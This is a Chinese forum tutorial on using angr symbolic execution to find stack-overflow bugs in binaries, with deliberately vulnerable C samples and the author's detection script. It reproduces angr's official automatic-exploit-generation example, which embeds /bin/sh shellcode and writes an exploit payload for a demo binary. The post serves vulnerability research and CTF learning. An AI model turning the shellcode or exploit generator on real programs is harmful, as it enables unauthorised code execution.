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发表于 2020-6-15 00:53:03 | 查看: 6432| 回复: 0

相关题目:


前言  angr是一个基于python开发的一款符号执行工具,可以用于二进制分析,在CTF逆向中有很大的用途,例如可以通过约束求解找到复杂计算的正确解,从而拿到flag;然而angr的用途远不止于此,它甚至还能被用于AEG (Automatic Exploit Generation) ,有一个叫zeratool的工具实现了一些用于简单的pwn的AEG,AEG的步骤一般分为:
  • 挖掘漏洞
  • 生成利用exp
  • 验证exp
  zeratool采用的挖掘漏洞的方法是通过符号执行,遍历所有可能存在的约束路径,如果出现了 unconstrained  状态的路径,则认为产生了漏洞,本人在查看zeratool源码和动手实践的过程中发现这种挖掘方法不尽全面,只适用于一些单一漏洞的例子,再加上zeratool采用的angr版本为7.x,而最新的已经是8.x,8.x的api也发生了很大改变
  因此想探究在angr 8.x上实现进一步的栈溢出漏洞探索和堆空间中UAF和Double_Free漏洞探索,本篇主要是分享一些对挖掘栈溢出漏洞的想法和心得,堆漏洞的在下篇,水平有限,大佬轻喷Orz
官方例子  先举一个官方的AEG的简单例子(在angr根目录的examples/insomnihack_aeg中)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char component_name[128] = {0};

typedef struct component 
{
char name[32];
int (*do_something)(int arg);
} comp_t;

int sample_func(int x) 
{
printf(" - %s - recieved argument %d\n", component_name, x);
}

comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;

cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;

printf("Copying component name...\n"); 
while (*cmp_name)
cmp->name[i++] = *cmp_name++;

cmp->name[i] = '\0';
return cmp;
}

int main(void)
{
comp_t *cmp;

printf("Component Name:\n");
read(0, component_name, sizeof component_name);

printf("Initializing component...\n");
cmp = initialize_component(component_name);    

printf("Running component...\n");
cmp->do_something(1);
}

  这里很明显可以看到有一个堆溢出漏洞,当component_name长度大于32时,会溢出覆盖到cmp->do_something成员,在之后的cmp->do_something(1)中,会导致程序崩溃
  而官方给出的angr脚本如下
import os
import sys
import angr
import subprocess
import logging

from angr import sim_options as so

l = logging.getLogger("insomnihack.simple_aeg")


# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")

def fully_symbolic(state, variable):
'''
check if a symbolic variable is completely symbolic
'''

for i in range(state.arch.bits):
if not state.solver.symbolic(variable[i]):
return False

return True

def check_continuity(address, addresses, length):
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''

for i in range(length):
if not address + i in addresses:
return False

return True

def find_symbolic_buffer(state, length):
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''

# get all the symbolic bytes from stdin
stdin = state.posix.stdin

sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))

for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr

def main(binary):
p = angr.Project(binary)

binary_name = os.path.basename(binary)

extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)

# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step()
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc):
exploitable_state = u
break

# no exploitable state found, drop them
sm.drop(stash='unconstrained')

l.info("found a state which looks exploitable")
ep = exploitable_state

assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"

l.info("attempting to create exploit based off state")

# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode))
sc_bvv = ep.solver.BVV(shellcode)

# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv)
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr)
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
print(ep.posix.dumps(0))
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))

print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0

def test():
main('./demo_bin')
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'

if __name__ == '__main__':
# silence some annoying logs
logging.getLogger("angr").setLevel("CRITICAL")
l.setLevel("INFO")

if len(sys.argv) > 1:
sys.exit(main(sys.argv[1]))
else:
print("%s: <binary>" % sys.argv[0])

  简单来说,这个脚本首先通过符号执行,找出unconstrained状态的路径,然后对这个路径进行约束条件限制,查看是否存在满足以下条件的正解:1.有足够的空间放置shellcode,2.rip能指向shellcode,如果满足了条件,说明这个程序可pwn,那么就把满足这些约束的解所在的路径的标准输入记录下来,作为攻击使用的payload
  我们可以发现,在漏洞查找这一步,它直接使用了一种简单粗暴的方法,那就是找unconstrained状态的路径,而这种状态的路径一般来说就是rip值不可约束才会产生的,所谓不可约束,意思就是rip不受控制了,或者说它的值符号化了,例如一般发生栈溢出时,rip的值通常是标准输入的某段字符串,而在angr中,stdin也会被符号化,所以说当rip值变成stdin的部分值时,也就使得rip的值也是符号化的,这样就出现了unconstrained状态。
实验例子  在我实践的过程中发现,这种挖掘漏洞的方法不够全面,举个例子:
#include <stdio.h>

void func()
{
char pwd[0x10]={0}; 
puts("input admin password:");
read(0,pwd,0x20);
}
void over()
{
puts("over!");
char c[0x10]={0};   
read(0,c,0x20);
}
int main(int argc, char const *argv[])
{
char name[0x10]={0};
puts("input your name:");
read(0,name,0x10);
over();
if (strstr(name,"admin"))
{
func();
puts("welcome admin~");
}
else
{
printf("welcome, %s\n", name);
}
return 0;
}
//gcc stack1.c -o stack1 -fno-stack-protector
//关闭canary保护

  可以看到该源码中有两个栈溢出漏洞,分别是read(0,c,0x20);和read(0,pwd,0x20);
  按照前面的例子,通过unconstrained状态来搜索漏洞,写出angr脚本如下:
import angr

p = angr.Project("./stack1")
es = p.factory.entry_state()
sm = p.factory.simulation_manager(es, save_unconstrained=True)

while sm.active:
sm.step()
if sm.unconstrained:
for un in sm.unconstrained:
print("stdout:\n",un.posix.dumps(1))
print("stdin:\n",un.posix.dumps(0),"\n")

  而跑出的结果如下

初探利用angr进行漏洞挖掘(上)

初探利用angr进行漏洞挖掘(上)
  可以发现,仅通过unconstrained查找出的漏洞,只有over函数里面的那个栈溢出
  是什么原因导致了这样的结果?
  angr的符号执行会遍历去执行每一个路径,在没有出现if之类的分支语句的时候,路径是只有一条的,也就是说随着符号执行的进行,路径才会慢慢变多,而在该例子中,调用over函数时还属于第一条路径,而over函数中发生溢出时产生了unconstrained的状态,于是就此直接退出该路径的后续探索,从而导致没到if (strstr(name,"admin"))路径探索就已经结束了,因此第二个栈溢出漏洞也就难以找出
多漏洞挖掘思路探索  在讲我的挖掘思路之前,需要先回顾一下导致栈溢出的一系列过程:
  •   栈空间被覆盖
  •   覆盖到栈中rbp值(不考虑canary)
  •   覆盖到栈中返回地址值
  •   函数结束,开始返回
  •   leave(pop rbp ;mov rsp rbp),恢复之前rbp,将之前rbp值赋予rsp
  •   ret(pop rip),发生crash

  在上面的例子中,执行到over函数时就结束了后续路径的探索,是因为栈溢出使得rip的值unconstrained了
  那么如何才能既可以发现over函数中的栈溢出,又能让over函数正确返回,从而继续探索出后续路径中的栈溢出呢?
  根据上述6个过程,我的思路就出来了,就是每次进入一个新的函数时,先存储rbp正确的值,等到函数快结束时,先不着急返回,先去判断栈中的数据是否异常,就看即将被pop的rbp位置的值是否符号化,看将被pop rip位置的值是否符号化,如果是,那么很明显出现了栈溢出,然后使用angr去还原正确的栈数据,也就是还原rbp和返回地址,这样一来,既检测出了漏洞同时使得产生漏洞的函数能够继续执行下去,从而达到了探索多个漏洞的目的
  以上是总体的思路,但实际上还有许多的小问题需要解决
  比如
  如何判断进入了一个新的函数和即将离开这个函数呢?
  这里我使用的方法是,可以通过判断汇编指令,比如进入函数时,如果出现了push rbp; mov rsp,rbp;这样的指令,那么基本上可以判断是函数的开头,如果出现了leave; ret;,同样可以判断是函数的结尾
  代码的具体实现如下:
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp; 
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push 
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov 
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp

if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp

def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
if flag==2:
........

  当函数调用多的时候,如何存储正确的rbp值?
  每次进入新函数时,可以使用字典的方式进行存储rbp,key为该函数结束时的正确返回地址,value为当前函数的rbp,这样一来不论函数调用多复杂,都可以通过唯一的返回地址锁定rbp的正确值
  当符号执行路径多的时候,如何保证不同路径之间存储的rbp值是相互独立且不受干扰?
  angr中提供了一种这样的用法:state.globals['rbp_list']={}
  这个意思是,设置路径state的一个全局变量名为rbp_list,且初始化rbp_list为一个空的字典
  这种设置全局变量的方法,只会在被设置的路径以及其衍生路径中存在
  比如
int main()
{
.....
if(xxx)
{
//路径1,不存在name变量
}
else if(xxx)
{
////路径2
设置state.globals['name']=“23R3F”
if(xxx)
{
//路径2.1,存在name变量
}
else
{
设置state.globals['age']=233
//路径2.2,存在name、age变量
}
}
else if(xxx)
{
//路径3,不存在name变量
}
else
{
//路径4,不存在name变量
}

}

  因此通过这种方法设置的路径全局变量rbp_list字典可以保证不被其他不相干路径所干扰
  有的时候溢出不一定导致rip修改,可能只溢出到rbp的几个字节,这种情况又该如何挖掘搜索出来?
  这里用了angr提供的一种方法,可以检测某地址的值是否符号化,通过这种方法,就能计算出溢出的具体字节,至于溢出到rbp和返回地址,这里可以通过检测顺序来解决,比如溢出到了返回地址,那么必然是溢出了rbp,那么就直接报出pc overflow,因此首先检测返回地址是否被溢出,然后再检测是否溢出到了rbp,如果只溢出到rbp则只报出 rbp overflow
  相关代码如下
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits

def check_end(state):
..........
..........
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]

if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return

if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)

完整代码  以下是完整的代码
import angr

def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits

def print_pc_overflow_msg(state,byte_s):
print("\n[========find a pc overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))

def print_bp_overflow_msg(state,byte_s):
print("\n[========find a bp overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))


def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1

# ins0=insns[0].insn
# ins1=insns[1].insn
# if ins0.mnemonic=="leave" and ins1.mnemonic=="ret":
if flag==2:
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]

if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return

if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)

def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp; 
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push 
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov 
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp

if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp


if __name__ == '__main__':  
filename="stack1"
p = angr.Project(filename,auto_load_libs=False)
state=p.factory.entry_state()
state.globals['rbp_list']={}
simgr = p.factory.simulation_manager(state,save_unconstrained=True)

while simgr.active:
for act in simgr.active:
# print("||||||||||||||active head||||||||||||")
check_head(act)
check_end(act)
# print("||||||||||||||active end|||||||||||||")
simgr.step()
# print("now->",simgr,"\n")

  运行后,可以发现,完美的搜索到了两个栈溢出漏洞:

初探利用angr进行漏洞挖掘(上)

初探利用angr进行漏洞挖掘(上)
  以上便是我关于栈溢出方面的一点点挖掘思路,如果有师傅有更骚的操作,也望不啬赐教


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